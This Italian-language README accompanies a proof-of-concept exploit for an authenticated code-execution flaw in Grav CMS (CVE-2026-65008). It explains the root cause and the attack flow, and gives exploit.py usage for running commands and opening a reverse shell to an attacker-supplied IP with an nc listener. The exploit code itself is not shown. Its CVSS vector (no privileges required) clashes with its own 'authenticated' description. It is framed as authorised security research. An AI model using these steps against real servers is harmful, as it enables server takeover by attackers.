CVE-2026-65008 — Grav CMS < 2.0.7 RCE autenticata

Proof-of-concept per CVE-2026-65008: esecuzione remota di codice autenticata in Grav CMS tramite call_user_func_array() senza restrizioni in Blueprint::dynamicData().

Un utente con admin.pages (o api.pages.write) può inserire un frontmatter di form dannoso. Il payload viene quindi eseguito come utente del web-server quando qualsiasi visitatore (inclusi quelli non autenticati) carica la pagina.

Solo test autorizzati. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.

Crediti

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

Causa principale

Blueprint::dynamicData() passa un callable Class::method controllato dall'attaccante e argomenti a call_user_func_array() di PHP senza alcuna allowlist. Combinato con Grav\Common\Utils::arrayFilterRecursive come trampoline, raggiunge system() / passthru / ecc.

Corretto in Grav 2.0.7+.

CVSS

9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requisiti

• Python 3.10+
• requests

Installa:

pip install -r requirements.txt

Utilizzo

Esecuzione di comandi

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

Reverse shell

Avvia prima il listener:

nc -lvnp 4444

Poi:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

Argomenti

Flusso

1. Accedi a /admin (estrai login-nonce)
2. Ottieni admin_nonce dal pannello di amministrazione
3. Salva una pagina il cui frontmatter contiene il gadget data-opts@:
4. Attiva con una GET non autenticata → RCE come www-data

Disclaimer

Questo progetto è solo a scopo educativo e di ricerca di sicurezza autorizzata. L'autore non è responsabile per un uso improprio. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di terze parti. La vulnerabilità originale è stata divulgata tramite l'advisory del vendor; questo repository dimostra esclusivamente la riproduzione in laboratorio.

Riferimenti

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

Licenza

Per uso di ricerca. Nessuna garanzia.